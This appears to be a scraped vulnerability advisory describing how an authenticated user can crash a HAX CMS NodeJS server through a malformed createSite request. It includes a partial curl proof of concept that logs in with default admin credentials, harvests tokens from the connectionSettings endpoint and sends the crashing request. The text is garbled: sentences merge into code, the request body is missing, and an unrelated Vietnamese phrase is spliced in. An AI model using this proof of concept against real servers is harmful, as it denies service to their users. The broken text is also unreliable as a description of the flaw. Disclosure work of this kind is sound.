The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service.
The createSite remote import flow does not complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens.
The crash occurs because createSite passes a file object without originalname, while HAXCMSFile.save() immediately dereferences tmpFile.originalname.replace(...).
As a result:
createSitedownloadAndSaveFile() performs the outbound requestJWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4)
connectionSettings endpoint.SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings')
ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2)
curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \
-H 'Content-Type: application/json' \

}
}
}"
The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed.

Quét site miễn phíAn authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.
